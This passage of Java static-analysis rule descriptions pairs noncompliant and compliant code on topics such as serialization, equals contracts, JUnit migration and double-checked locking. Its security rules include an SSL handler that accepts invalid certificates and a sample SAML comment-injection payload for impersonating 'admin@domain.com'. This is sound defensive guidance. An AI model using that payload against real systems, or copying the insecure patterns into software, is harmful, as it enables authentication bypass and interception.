  public String getVarity() {...}
}

public class Raspberry extends Fruit
        implements Serializable {
  private final int serialVersionUID = 1; // Noncompliant; not static & int rather than long

Compliant Solution

public class Raspberry extends Fruit
        implements Serializable {
  private static final long serialVersionUID = 1;
  private String variety;

  public Raspberry(Season ripe, String variety) { ...}
  public void setVariety(String variety) {...}
  public String getVarity() {...}
}

Exceptions

Swing and AWT classes, abstract classes, Throwable and its subclasses (Exceptions and Errors), and classes marked with @SuppressWarnings("serial") are ignored.

See

  • CERT, SER00-J. - Enable serialization compatibility during class evolution
java:S2177

When a method in a child class has the same signature as a method in a parent class, it is assumed to be an override. However, that's not the case when:

  • the parent class method is static and the child class method is not.
  • the arguments or return types of the child method are in different packages than those of the parent method.
  • the parent class method is private.

Typically, these things are done unintentionally; the private parent class method is overlooked, the static keyword in the parent declaration is overlooked, or the wrong class is imported in the child. But if the intent is truly for the child class method to be different, then the method should be renamed to prevent confusion.

Noncompliant Code Example

// Parent.java
import computer.Pear;
public class Parent {

  public void doSomething(Pear p) {
    //,,,
  }

  public static void doSomethingElse() {
    //...
  }
}

// Child.java
import fruit.Pear;
public class Child extends Parent {

  public void doSomething(Pear p) {  // Noncompliant; this is not an override
    // ...
  }


  public void doSomethingElse() {  // Noncompliant; parent method is static
    //...
  }
}

Compliant Solution

// Parent.java
import computer.Pear;
public class Parent {

  public void doSomething(Pear p) {
    //,,,
  }

  public static void doSomethingElse() {
    //...
  }
}

// Child.java
import computer.Pear;  // import corrected
public class Child extends Parent {

  public void doSomething(Pear p) {  // true override (see import)
    //,,,
  }

  public static void doSomethingElse() {
    //...
  }
}
java:S5322

In Android applications, receiving intents is security-sensitive. For example, it has led in the past to the following vulnerability:

Once a receiver is registered, any app can broadcast potentially malicious intents to your application.

This rule raises an issue when a receiver is registered without specifying any "broadcast permission".

Ask Yourself Whether

  • The data extracted from intents is not sanitized.
  • Intents broadcast is not restricted.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Restrict the access to broadcasted intents. See Android documentation for more information.

Sensitive Code Example

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.IntentFilter;
import android.os.Build;
import android.os.Handler;
import android.support.annotation.RequiresApi;

public class MyIntentReceiver {

    @RequiresApi(api = Build.VERSION_CODES.O)
    public void register(Context context, BroadcastReceiver receiver,
                         IntentFilter filter,
                         String broadcastPermission,
                         Handler scheduler,
                         int flags) {
        context.registerReceiver(receiver, filter); // Sensitive
        context.registerReceiver(receiver, filter, flags); // Sensitive

        // Broadcasting intent with "null" for broadcastPermission
        context.registerReceiver(receiver, filter, null, scheduler); // Sensitive
        context.registerReceiver(receiver, filter, null, scheduler, flags); // Sensitive


        context.registerReceiver(receiver, filter,broadcastPermission, scheduler); // OK
        context.registerReceiver(receiver, filter,broadcastPermission, scheduler, flags); // OK
    }
}

See

java:S2059

Serializing a non-static inner class will result in an attempt at serializing the outer class as well. If the outer class is actually serializable, then the serialization will succeed but possibly write out far more data than was intended.

Making the inner class static (i.e. "nested") avoids this problem, therefore inner classes should be static if possible. However, you should be aware that there are semantic differences between an inner class and a nested one:

  • an inner class can only be instantiated within the context of an instance of the outer class.
  • a nested (static) class can be instantiated independently of the outer class.

Noncompliant Code Example

public class Raspberry implements Serializable {
  // ...

  public class Drupelet implements Serializable {  // Noncompliant; output may be too large
    // ...
  }
}

Compliant Solution

public class Raspberry implements Serializable {
  // ...

  public static class Drupelet implements Serializable {
    // ...
  }
}

See

java:S3027

An indexOf or lastIndexOf call with a single letter String can be made more performant by switching to a call with a char argument.

Noncompliant Code Example

String myStr = "Hello World";
// ...
int pos = myStr.indexOf("W");  // Noncompliant
// ...
int otherPos = myStr.lastIndexOf("r"); // Noncompliant
// ...

Compliant Solution

String myStr = "Hello World";
// ...
int pos = myStr.indexOf('W');
// ...
int otherPos = myStr.lastIndexOf('r');
// ...

Deprecated

This rule is deprecated, and will eventually be removed.

java:S5326

Validating SSL/TLS connections is security-sensitive. For example, it has led in the past to the following vulnerabilities:

SSL/TLS protocols encrypt network connections. The server usually provides a digital certificate to prove its identity. Accepting all SSL/TLS certificates makes your application vulnerable to Man-in-the-middle attacks (MITM).

This rule will raise an issue when a method named onReceivedSslError with first argument of type android.webkit.WebView is defined.

Ask Yourself Whether

  • invalid SSL/TLS certificates are accepted automatically.
  • The user is asked to accept invalid SSL/TLS certificates.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Accept only trusted SSL/TLS certificates.
  • Do not ask users to accept unsafe connections as they are unlikely to make an informed security decision.

Sensitive Code Example

Android (See also "How to address WebView SSL Error Handler alerts in your apps.")

package com.example.myapplication.rspec_5326;

import android.net.http.SslError;
import android.os.Build;
import android.support.annotation.RequiresApi;
import android.webkit.SslErrorHandler;
import android.webkit.WebView;
import android.webkit.WebViewClient;

import java.util.function.Function;

public class SSLTLSValidation extends WebViewClient {
    private final Function<SslError, Boolean> acceptSslError;

    SSLTLSValidation(Function<SslError, Boolean> acceptSslError) {
        this.acceptSslError = acceptSslError;
    }

    @RequiresApi(api = Build.VERSION_CODES.N)
    @Override
    public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { // Sensitive
        if (acceptSslError.apply(error)) {
            handler.proceed();
        } else {
            handler.cancel();
        }
    }
}

See

Deprecated

This rule is deprecated; use S4423, S4830, S5527 instead.

java:S1190

Through Java's evolution keywords have been added. While code that uses those words as identifiers may be compilable under older versions of Java, it will not be under modern versions.

Following keywords are marked as invalid identifiers

Keyword Added
_ 9
enum 5.0

assert and strictfp are another example of valid identifiers which became keywords in later versions, but are not supported by this rule.

Noncompliant Code Example

public void doSomething() {
  int enum = 42;            // Noncompliant
  String _ = "";   // Noncompliant
}

Compliant Solution

public void doSomething() {
  int magic = 42;
}
java:S1191

Classes in the sun.* or com.sun.* packages are considered implementation details, and are not part of the Java API.

They can cause problems when moving to new versions of Java because there is no backwards compatibility guarantee. Similarly, they can cause problems when moving to a different Java vendor, such as OpenJDK.

Such classes are almost always wrapped by Java API classes that should be used instead.

Noncompliant Code Example

import com.sun.jna.Native;     // Noncompliant
import sun.misc.BASE64Encoder; // Noncompliant
java:S1192

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

public void run() {
  prepare("action1");                              // Noncompliant - "action1" is duplicated 3 times
  execute("action1");
  release("action1");
}

@SuppressWarning("all")                            // Compliant - annotations are excluded
private void method1() { /* ... */ }
@SuppressWarning("all")
private void method2() { /* ... */ }

public String method3(String a) {
  System.out.println("'" + a + "'");               // Compliant - literal "'" has less than 5 characters and is excluded
  return "";                                       // Compliant - literal "" has less than 5 characters and is excluded
}

Compliant Solution

private static final String ACTION_1 = "action1";  // Compliant

public void run() {
  prepare(ACTION_1);                               // Compliant
  execute(ACTION_1);
  release(ACTION_1);
}

Exceptions

To prevent generating some false-positives, literals having less than 5 characters are excluded.

java:S2160

Extend a class that overrides equals and add fields without overriding equals in the subclass, and you run the risk of non-equivalent instances of your subclass being seen as equal, because only the superclass fields will be considered in the equality test.

This rule looks for classes that do all of the following:

  • extend classes that override equals.
  • do not themselves override equals.
  • add fields.

Noncompliant Code Example

public class Fruit {
  private Season ripe;

  public boolean equals(Object obj) {
    if (obj == this) {
      return true;
    }
    if (this.class != obj.class) {
      return false;
    }
    Fruit fobj = (Fruit) obj;
    if (ripe.equals(fobj.getRipe()) {
      return true;
    }
    return false;
  }
}

public class Raspberry extends Fruit {  // Noncompliant; instances will use Fruit's equals method
  private Color ripeColor;
}

Compliant Solution

public class Fruit {
  private Season ripe;

  public boolean equals(Object obj) {
    if (obj == this) {
      return true;
    }
    if (this.class != obj.class) {
      return false;
    }
    Fruit fobj = (Fruit) obj;
    if (ripe.equals(fobj.getRipe()) {
      return true;
    }
    return false;
  }
}

public class Raspberry extends Fruit {
  private Color ripeColor;

  public boolean equals(Object obj) {
    if (! super.equals(obj)) {
      return false;
    }
    Raspberry fobj = (Raspberry) obj;
    if (ripeColor.equals(fobj.getRipeColor()) {  // added fields are tested
      return true;
    }
    return false;
  }
}
java:S1193

Multiple catch blocks of the appropriate type should be used instead of catching a general exception, and then testing on the type.

Noncompliant Code Example

try {
  /* ... */
} catch (Exception e) {
  if(e instanceof IOException) { /* ... */ }         // Noncompliant
  if(e instanceof NullPointerException{ /* ... */ }  // Noncompliant
}

Compliant Solution

try {
  /* ... */
} catch (IOException e) { /* ... */ }                // Compliant
} catch (NullPointerException e) { /* ... */ }       // Compliant

See

  • CERT, ERR51-J. - Prefer user-defined exceptions over more general exception types
java:S5793

As mentioned in JUnit5 documentation, it is possible to integrate JUnit4 with JUnit5:

JUnit provides a gentle migration path via a JUnit Vintage test engine which allows existing tests based on JUnit 3 and JUnit 4 to be executed using the JUnit Platform infrastructure. Since all classes and annotations specific to JUnit Jupiter reside under a new org.junit.jupiter base package, having both JUnit 4 and JUnit Jupiter in the classpath does not lead to any conflicts.

However, maintaining both systems is a temporary solution. This rule flags all the annotations from JUnit4 which would need to be migrated to JUnit5, hence helping migration of a project.

Here is the list of JUnit4 annotations tracked by the rule, with their corresponding annotations in JUnit5:

JUnit4 JUnit5
org.junit.Test org.junit.jupiter.api.Test
org.junit.Before org.junit.jupiter.api.BeforeEach
org.junit.After org.junit.jupiter.api.AfterEach
org.junit.BeforeClass org.junit.jupiter.api.BeforeAll
org.junit.AfterClass org.junit.jupiter.api.AfterAll
org.junit.Ignore org.junit.jupiter.api.Disabled

Note that the following annotations might requires some rework of the tests to have JUnit5 equivalent behavior. A simple replacement of the annotation won't work immediately:

JUnit4 JUnit5
org.junit.experimental.categories.Category org.junit.jupiter.api.Tag
org.junit.Rule org.junit.jupiter.api.extension.ExtendWith
org.junit.ClassRule org.junit.jupiter.api.extension.RegisterExtension
org.junit.runner.RunWith org.junit.jupiter.api.extension.ExtendWith

Noncompliant Code Example

package org.foo;

import org.junit.After;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Ignore;
import org.junit.Test;
import org.junit.experimental.categories.Category;
import org.junit.runner.RunWith;

@RunWith(MyJUnit4Runner.class)
public class MyJUnit4Test {

  @BeforeClass
  public static void beforeAll() {
    System.out.println("beforeAll");
  }

  @AfterClass
  public static void afterAll() {
    System.out.println("AfterAll");
  }

  @Before
  public void beforeEach() {
    System.out.println("beforeEach");
  }

  @After
  public void afterEach() {
    System.out.println("afterEach");
  }

  @Test
  public void test1() throws Exception {
    System.out.println("test1");
  }

  public interface SomeTests { /* category marker */ }

  @Test
  @Category(SomeTests.class)
  public void test2() throws Exception {
    System.out.println("test2");
  }

  @Test
  @Ignore("Requires fix of #42")
  public void ignored() throws Exception {
    System.out.println("ignored");
  }
}

Compliant Solution

package org.foo;

import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;

@ExtendWith(MyJUnit5Extension.class)
class MyJUnit5Test {

  @BeforeAll
  static void beforeAll() {
    System.out.println("beforeAll");
  }

  @AfterAll
  static void afterAll() {
    System.out.println("afterAll");
  }

  @BeforeEach
  void beforeEach() {
    System.out.println("beforeEach");
  }

  @AfterEach
  void afterEach() {
    System.out.println("afterEach");
  }

  @Test
  void test1() {
    System.out.println("test1");
  }

  @Test
  @Tag("SomeTests")
  void test2() {
    System.out.println("test2");
  }

  @Test
  @Disabled("Requires fix of #42")
  void disabled() {
    System.out.println("ignored");
  }
}

See

java:S1194

java.lang.Error and its subclasses represent abnormal conditions, such as OutOfMemoryError, which should only be encountered by the Java Virtual Machine.

Noncompliant Code Example

public class MyException extends Error { /* ... */ }       // Noncompliant

Compliant Solution

public class MyException extends Exception { /* ... */ }   // Compliant
java:S3010

Assigning a value to a static field in a constructor could cause unreliable behavior at runtime since it will change the value for all instances of the class.

Instead remove the field's static modifier, or initialize it statically.

Noncompliant Code Example

public class Person {
  static Date dateOfBirth;
  static int expectedFingers;

  public Person(date birthday) {
    dateOfBirth = birthday;  // Noncompliant; now everyone has this birthday
    expectedFingers = 10;  // Noncompliant
  }
}

Compliant Solution

public class Person {
  Date dateOfBirth;
  static int expectedFingers = 10;

  public Person(date birthday) {
    dateOfBirth = birthday;
  }
}
java:S3252

In the interest of code clarity, static members of a base class should never be accessed using a derived type's name. Doing so is confusing and could create the illusion that two different static members exist.

Noncompliant Code Example

class Parent {
  public static int counter;
}

class Child extends Parent {
  public Child() {
    Child.counter++;  // Noncompliant
  }
}

Compliant Solution

class Parent {
  public static int counter;
}

class Child extends Parent {
  public Child() {
    Parent.counter++;
  }
}
java:S5790

If not annotated with @Nested, an inner class containing some tests will never be executed during tests execution. While you could still be able to manually run its tests in an IDE, it won’t be the case during the build. By contrast, a static nested class containing some tests should not be annotated with @Nested, JUnit5 will not share setup and state with an instance of its enclosing class.

This rule raises an issue on inner classes and static nested classes containing JUnit5 test methods which has a wrong usage of @Nested annotation.

Note: This rule does not check if the context in which JUnit 5 is running (e.g. Maven Surefire Plugin) is properly configured to execute static nested classes, it could not be the case using the default configuration.

Noncompliant Code Example

import org.junit.jupiter.api.Test;

class MyJunit5Test {
  @Test
  void test() { /* ... */ }

  class InnerClassTest { // Noncompliant, missing @Nested annotation
    @Test
    void test() { /* ... */ }
  }

  @Nested
  static class StaticNestedClassTest { // Noncompliant, invalid usage of @Nested annotation
    @Test
    void test() { /* ... */ }
  }
}

Compliant Solution

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.Nested;

class MyJunit5Test {
  @Test
  void test() { /* ... */ }

  @Nested
  class InnerClassTest {
    @Test
    void test() { /* ... */ }
  }

  static class StaticNestedClassTest {
    @Test
    void test() { /* ... */ }
  }
}
java:S3373

It makes sense to handle all related actions in the same place. Thus, the same <action> might logically handle all facets of CRUD on an entity, with no confusion in the naming about which <forward/> handles which facet. But go very far beyond that, and it becomes difficult to maintain a transparent naming convention.

So to ease maintenance, this rule raises an issue when an <action> has more than the allowed number of <forward/> tags.

Noncompliant Code Example

With the default threshold of 4:

<action path='/book' type='myapp.BookDispatchAction' name='form' parameter='method'>
  <forward name='create' path='/WEB-INF/jsp/BookCreate.jspx' redirect='false'/>
  <forward name='read' path='/WEB-INF/jsp/BookDetails' redirect='false'/>
  <forward name='update' path='/WEB-INF/jsp/BookUpdate.jspx' redirect='false'/>
  <forward name='delete' path='/WEB-INF/jsp/BookDelete.jspx' redirect='false'/>
  <forward name='authorRead' path='WEB-INF/jsp/AuthorDetails' redirect='false'/>  <!-- Noncompliant -->
</action>

Compliant Solution

<action path='/book' type='myapp.BookDispatchAction' name='bookForm' parameter='method'>
  <forward name='create' path='/WEB-INF/jsp/BookCreate.jspx' redirect='false'/>
  <forward name='read' path='/WEB-INF/jsp/BookDetails' redirect='false'/>
  <forward name='update' path='/WEB-INF/jsp/BookUpdate.jspx' redirect='false'/>
  <forward name='delete' path='/WEB-INF/jsp/BookDelete.jspx' redirect='false'/>
</action>

<action path='/author' type='myapp.AuthorDispatchAction' name='authorForm' parameter='method'>
  <forward name='authorRead' path='WEB-INF/jsp/AuthorDetails' redirect='false'/>
</action>
java:S1195

According to the Java Language Specification:

For compatibility with older versions of the Java SE platform,

the declaration of a method that returns an array is allowed to place (some or all of) the empty bracket pairs that form the declaration of the array type after the formal parameter list.

This obsolescent syntax should not be used in new code.

Noncompliant Code Example

public int getVector()[] { /* ... */ }    // Noncompliant

public int[] getMatrix()[] { /* ... */ }  // Noncompliant

Compliant Solution

public int[] getVector() { /* ... */ }

public int[][] getMatrix() { /* ... */ }
java:S2162

A key facet of the equals contract is that if a.equals(b) then b.equals(a), i.e. that the relationship is symmetric.

Using instanceof breaks the contract when there are subclasses, because while the child is an instanceof the parent, the parent is not an instanceof the child. For instance, assume that Raspberry extends Fruit and adds some fields (requiring a new implementation of equals):

Fruit fruit = new Fruit();
Raspberry raspberry = new Raspberry();

if (raspberry instanceof Fruit) { ... } // true
if (fruit instanceof Raspberry) { ... } // false

If similar instanceof checks were used in the classes' equals methods, the symmetry principle would be broken:

raspberry.equals(fruit); // false
fruit.equals(raspberry); //true

Additionally, non final classes shouldn't use a hardcoded class name in the equals method because doing so breaks the method for subclasses. Instead, make the comparison dynamic.

Further, comparing to an unrelated class type breaks the contract for that unrelated type, because while thisClass.equals(unrelatedClass) can return true, unrelatedClass.equals(thisClass) will not.

Noncompliant Code Example

public class Fruit extends Food {
  private Season ripe;

  public boolean equals(Object obj) {
    if (obj == this) {
      return true;
    }
    if (obj == null) {
      return false;
    }
    if (Fruit.class == obj.getClass()) { // Noncompliant; broken for child classes
      return ripe.equals(((Fruit)obj).getRipe());
    }
    if (obj instanceof Fruit ) {  // Noncompliant; broken for child classes
      return ripe.equals(((Fruit)obj).getRipe());
    }
    else if (obj instanceof Season) { // Noncompliant; symmetry broken for Season class
      // ...
    }
    //...

Compliant Solution

public class Fruit extends Food {
  private Season ripe;

  public boolean equals(Object obj) {
    if (obj == this) {
      return true;
    }
    if (obj == null) {
      return false;
    }
    if (this.getClass() == obj.getClass()) {
      return ripe.equals(((Fruit)obj).getRipe());
    }
    return false;
}

See

  • CERT, MET08-J. - Preserve the equality contract when overriding the equals() method
java:S3254

Specifying the default value for an annotation parameter is redundant. Such values should be omitted in the interests of readability.

Noncompliant Code Example

@MyAnnotation(arg = "def")  // Noncompliant
public class MyClass {
  // ...
}
public @interface MyAnnotation {
  String arg() default "def";
}

Compliant Solution

@MyAnnotation
public class MyClass {
  // ...
}
public @interface MyAnnotation {
  String arg() default "def";
}
java:S3012

Using a loop to copy an array or a subset of an array is simply wasted code when there are built-in functions to do it for you. Instead, use Arrays.copyOf to copy an entire array into another array, use System.arraycopy to copy only a subset of an array into another array, and use Arrays.asList to feed the constructor of a new list with an array.

Note that Arrays.asList simply puts a Collections wrapper around the original array, so further steps are required if a non-fixed-size List is desired.

Noncompliant Code Example

public void makeCopies(String[] source) {

  this.array = new String[source.length];
  this.list = new ArrayList(source.length);

  for (int i = 0; i < source.length; i++) {
    this.array[i] = source[i]; // Noncompliant
  }

  for (String s : source) {
    this.list.add(s); // Noncompliant
  }
}

Compliant Solution

public void makeCopies(String[] source) {
  this.array = Arrays.copyOf(source, source.length);
  Collections.addAll(this.list, source);
}

Exceptions

Rule detects only the most idiomatic patterns, it will not consider loops with non-trivial control flow. For example, array elements that are copied conditionally are ignored.

public int[] getCopy(int[] source) {
  int[] dest = new int[source.length];
  for (int i = 0; i < source.length; i++) {
    if (source[i] > 10) {
      dest[i] = source[i];  // Compliant
    }
  }
  return dest;
}
java:S2165

There is no point in setting class fields to null in a finalizer. If this this is a hint to the garbage collector, it is unnecessary - the object will be garbage collected anyway - and doing so may actually cause extra work for the garbage collector.

Noncompliant Code Example

public class Foo {
  private String name;

  @Override
  void finalize() {
    name = null;  // Noncompliant; completely unnecessary
java:S1075

Hard coding a URI makes it difficult to test a program: path literals are not always portable across operating systems, a given absolute path may not exist on a specific test environment, a specified Internet URL may not be available when executing the tests, production environment filesystems usually differ from the development environment, ...etc. For all those reasons, a URI should never be hard coded. Instead, it should be replaced by customizable parameter.

Further even if the elements of a URI are obtained dynamically, portability can still be limited if the path-delimiters are hard-coded.

This rule raises an issue when URI's or path delimiters are hard coded.

Noncompliant Code Example

public class Foo {
  public Collection<User> listUsers() {
    File userList = new File("/home/mylogin/Dev/users.txt"); // Non-Compliant
    Collection<User> users = parse(userList);
    return users;
  }
}

Compliant Solution

public class Foo {
  // Configuration is a class that returns customizable properties: it can be mocked to be injected during tests.
  private Configuration config;
  public Foo(Configuration myConfig) {
    this.config = myConfig;
  }
  public Collection<User> listUsers() {
    // Find here the way to get the correct folder, in this case using the Configuration object
    String listingFolder = config.getProperty("myApplication.listingFolder");
    // and use this parameter instead of the hard coded path
    File userList = new File(listingFolder, "users.txt"); // Compliant
    Collection<User> users = parse(userList);
    return users;
  }
}

See

java:S3011

This rule raises an issue when reflection is used to change the visibility of a class, method or field, and when it is used to directly update a field value. Altering or bypassing the accessibility of classes, methods, or fields violates the encapsulation principle and could lead to run-time errors.

Noncompliant Code Example

public void makeItPublic(String methodName) throws NoSuchMethodException {

  this.getClass().getMethod(methodName).setAccessible(true); // Noncompliant
}

public void setItAnyway(String fieldName, int value) {
  this.getClass().getDeclaredField(fieldName).setInt(this, value); // Noncompliant; bypasses controls in setter
}

See

  • CERT, SEC05-J. - Do not use reflection to increase accessibility of classes, methods, or fields
java:S1197

Array designators should always be located on the type for better code readability. Otherwise, developers must look both at the type and the variable name to know whether or not a variable is an array.

Noncompliant Code Example

int matrix[][];   // Noncompliant
int[] matrix[];   // Noncompliant

Compliant Solution

int[][] matrix;   // Compliant
java:S2164

For small numbers, float math has enough precision to yield the expected value, but for larger numbers, it does not. BigDecimal is the best alternative, but if a primitive is required, use a double.

Noncompliant Code Example

float a = 16777216.0f;
float b = 1.0f;
float c = a + b; // Noncompliant; yields 1.6777216E7 not 1.6777217E7

double d = a + b; // Noncompliant; addition is still between 2 floats

Compliant Solution

float a = 16777216.0f;
float b = 1.0f;
BigDecimal c = BigDecimal.valueOf(a).add(BigDecimal.valueOf(b));

double d = (double)a + (double)b;

Exceptions

This rule doesn't raise an issue when the mathematical expression is only used to build a string.

System.out.println("["+getName()+"] " +
           "\n\tMax time to retrieve connection:"+(max/1000f/1000f)+" ms.");

See

  • CERT, FLP02-C. - Avoid using floating-point numbers when precise computation is needed
java:S3374

According to the Common Weakness Enumeration,

If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations...

In such a case, it is likely that the two forms should be combined. At the very least, one should be removed.

Noncompliant Code Example

<form-validation>
  <formset>
    <form name="BookForm"> ... </form>
    <form name="BookForm"> ... </form>  <!-- Noncompliant -->
  </formset>
</form-validation>

Compliant Solution

<form-validation>
  <formset>
    <form name="BookForm"> ... </form>
  </formset>
</form-validation>

See

java:S2167

It is the sign, rather than the magnitude of the value returned from compareTo that matters. Returning Integer.MIN_VALUE does not convey a higher degree of inequality, and doing so can cause errors because the return value of compareTo is sometimes inversed, with the expectation that negative values become positive. However, inversing Integer.MIN_VALUE yields Integer.MIN_VALUE rather than Integer.MAX_VALUE.

Noncompliant Code Example

public int compareTo(MyClass) {
  if (condition) {
    return Integer.MIN_VALUE;  // Noncompliant
  }

Compliant Solution

public int compareTo(MyClass) {
  if (condition) {
    return -1;
  }
java:S3014

There is little valid reason to use the methods of the ThreadGroup class. Some are deprecated (allowThreadSuspension(), resume(), stop(), and suspend()), some are obsolete, others aren't thread-safe, and still others are insecure (activeCount(), enumerate()) . For these reasons, any use of ThreadGroup is suspicious and should be avoided.

Compliant Solution

ThreadFactory threadFactory = Executors.defaultThreadFactory();
ThreadPoolExecutor executorPool = new ThreadPoolExecutor(3, 10, 5, TimeUnit.SECONDS, new ArrayBlockingQueue<Runnable>(2), threadFactory);

for (int i = 0; i < 10; i++) {
  executorPool.execute(new JobThread("Job: " + i));
}

System.out.println(executorPool.getActiveCount()); // Compliant
executorPool.shutdown();

See

java:S2166

Clear, communicative naming is important in code. It helps maintainers and API users understand the intentions for and uses of a unit of code. Using "exception" in the name of a class that does not extend Exception or one of its subclasses is a clear violation of the expectation that a class' name will indicate what it is and/or does.

Noncompliant Code Example

public class FruitException {  // Noncompliant; this has nothing to do with Exception
  private Fruit expected;
  private String unusualCharacteristics;
  private boolean appropriateForCommercialExploitation;
  // ...
}

public class CarException {  // Noncompliant; the extends clause was forgotten?
  public CarException(String message, Throwable cause) {
  // ...

Compliant Solution

public class FruitSport {
  private Fruit expected;
  private String unusualCharacteristics;
  private boolean appropriateForCommercialExploitation;
  // ...
}

public class CarException extends Exception {
  public CarException(String message, Throwable cause) {
  // ...
java:S1199

Nested code blocks can be used to create a new scope and restrict the visibility of the variables defined inside it. Using this feature in a method typically indicates that the method has too many responsibilities, and should be refactored into smaller methods.

Noncompliant Code Example

public void evaluate(int operator) {
  switch (operator) {
    /* ... */
    case ADD: {                                // Noncompliant - nested code block '{' ... '}'
        int a = stack.pop();
        int b = stack.pop();
        int result = a + b;
        stack.push(result);
        break;
      }
    /* ... */
  }
}

Compliant Solution

public void evaluate(int operator) {
  switch (operator) {
    /* ... */
    case ADD:                                  // Compliant
      evaluateAdd();
      break;
    /* ... */
  }
}

private void evaluateAdd() {
  int a = stack.pop();
  int b = stack.pop();
  int result = a + b;
  stack.push(result);
}
java:S4348

There are two classes in the Java standard library that deal with iterations: Iterable<T> and Iterator<T>. An Iterable<T> represents a data structure that can be the target of the "for-each loop" statement, and an Iterator<T> represents the state of an ongoing traversal. An Iterable<T> is generally expected to support multiple traversals.

An Iterator<T> that also implements Iterable<t> by returning itself as its iterator() will not support multiple traversals since its state will be carried over.

This rule raises an issue when the iterator() method of a class implementing both Iterable<T> and Iterator<t> returns this.

Noncompliant Code Example

class FooIterator implements Iterator<Foo>, Iterable<Foo> {
  private Foo[] seq;
  private int idx = 0;

  public boolean hasNext() {
    return idx < seq.length;
  }

  public Foo next() {
    return seq[idx++];
  }

  public Iterator<Foo> iterator() {
    return this; // Noncompliant
  }
  // ...
}

Compliant Solution

class FooSequence implements Iterable<Foo> {
  private Foo[] seq;

  public Iterator<Foo> iterator() {
    return new Iterator<Foo>() {
      private int idx = 0;

      public boolean hasNext() {
        return idx < seq.length;
      }

      public Foo next() {
        return seq[idx++];
      }
    };
  }
  // ...
}
java:S5679

In 2018, Duo Security found a new vulnerability class that affects SAML-based single sign-on (SSO) systems and this led to the following vulnerabilities being disclosed: CVE-2017-11427, CVE-2017-11428, CVE-2017-11429, CVE-2017-11430, CVE-2018-0489, CVE-2018-7340.

From a specially crafted <SAMLResponse> file, an attacker having already access to the SAML system with his own account can bypass the authentication mechanism and be authenticated as another user.

This is due to the fact that SAML protocol rely on XML format and how the underlying XML parser interprets XML comments.

If an attacker manage to change the <NameID> field identifying the authenticated user with XML comments, he can exploit the vulnerability.

Here is an example of a potential payload:

<SAMLResponse>
  [...]
  <Subject>
    <NameID>admin@domain.com<!---->.evil.com</NameID>
  </Subject>
  [...]
</SAMLResponse>

The attacker will manage to generate a valid <SAMLResponse> content with the account "admin@domain.com.evil.com". He will modify it with XML comments to finally be authenticated as "admin@domain.com". To prevent this vulnerability on application using Spring Security SAML relying on OpenSAML2, XML comments should be ignored thanks to the property ignoreComments set to true.

Noncompliant Code Example

import org.opensaml.xml.parse.BasicParserPool;
import org.opensaml.xml.parse.ParserPool;
import org.opensaml.xml.parse.StaticBasicParserPool;

public ParserPool parserPool() {
  StaticBasicParserPool staticBasicParserPool = new StaticBasicParserPool();
  staticBasicParserPool.setIgnoreComments(false); // Noncompliant: comments are not ignored during parsing opening the door to exploit the vulnerability
  return staticBasicParserPool;
}
public ParserPool parserPool() {
  BasicParserPool basicParserPool = new BasicParserPool();
  basicParserPool.setIgnoreComments(false); // Noncompliant
  return basicParserPool;
}

Compliant Solution

public ParserPool parserPool() {
  return new StaticBasicParserPool(); // Compliant: "ignoreComments" is set to "true" in StaticBasicParserPool constructor
}
public ParserPool parserPool() {
  return new BasicParserPool();  // Compliant: "ignoreComments" is set to "true" in BasicParserPool constructor
}

See

java:S2047

Well-named functions can allow the users of your code to understand at a glance what to expect from the function - even before reading the documentation. Toward that end, methods returning a boolean should have names that start with "is" or "has" rather than with "get".

Noncompliant Code Example

public boolean getFoo() { // Noncompliant
  // ...
}

public boolean getBar(Bar c) { // Noncompliant
  // ...
}

public boolean testForBar(Bar c) { // Compliant - The method does not start by 'get'.
  // ...
}

Compliant Solution

public boolean isFoo() {
  // ...
}

public boolean hasBar(Bar c) {
  // ...
}

public boolean testForBar(Bar c) {
  // ...
}

Exceptions

Overriding methods are excluded.

@Override
public boolean getFoo(){
  // ...
}
java:S2168

Double-checked locking is the practice of checking a lazy-initialized object's state both before and after a synchronized block is entered to determine whether or not to initialize the object.

It does not work reliably in a platform-independent manner without additional synchronization for mutable instances of anything other than float or int. Using double-checked locking for the lazy initialization of any other type of primitive or mutable object risks a second thread using an uninitialized or partially initialized member while the first thread is still creating it, and crashing the program.

There are multiple ways to fix this. The simplest one is to simply not use double checked locking at all, and synchronize the whole method instead. With early versions of the JVM, synchronizing the whole method was generally advised against for performance reasons. But synchronized performance has improved a lot in newer JVMs, so this is now a preferred solution. If you prefer to avoid using synchronized altogether, you can use an inner static class to hold the reference instead. Inner static classes are guaranteed to load lazily.

Noncompliant Code Example

@NotThreadSafe
public class DoubleCheckedLocking {
    private static Resource resource;

    public static Resource getInstance() {
        if (resource == null) {
            synchronized (DoubleCheckedLocking.class) {
                if (resource == null)
                    resource = new Resource();
            }
        }
        return resource;
    }

    static class Resource {

    }
}

Compliant Solution

@ThreadSafe
public class SafeLazyInitialization {
    private static Resource resource;

    public static synchronized Resource getInstance() {
        if (resource == null)
            resource = new Resource();
        return resource;
    }

    static class Resource {
    }
}

With inner static holder:

@ThreadSafe
public class ResourceFactory {
    private static class ResourceHolder {
        public static Resource resource = new Resource(); // This will be lazily initialised
    }

    public static Resource getResource() {
        return ResourceFactory.ResourceHolder.resource;
    }

    static class Resource {
    }
}

Using "volatile":

class ResourceFactory {
  private volatile Resource resource;

  public Resource getResource() {
    Resource localResource = resource;
    if (localResource == null) {
      synchronized (this) {
        localResource = resource;
        if (localResource == null) {
          resource = localResource = new Resource();
        }
      }
    }
    return localResource;
  }

  static class Resource {
  }
}

See

java:S4349

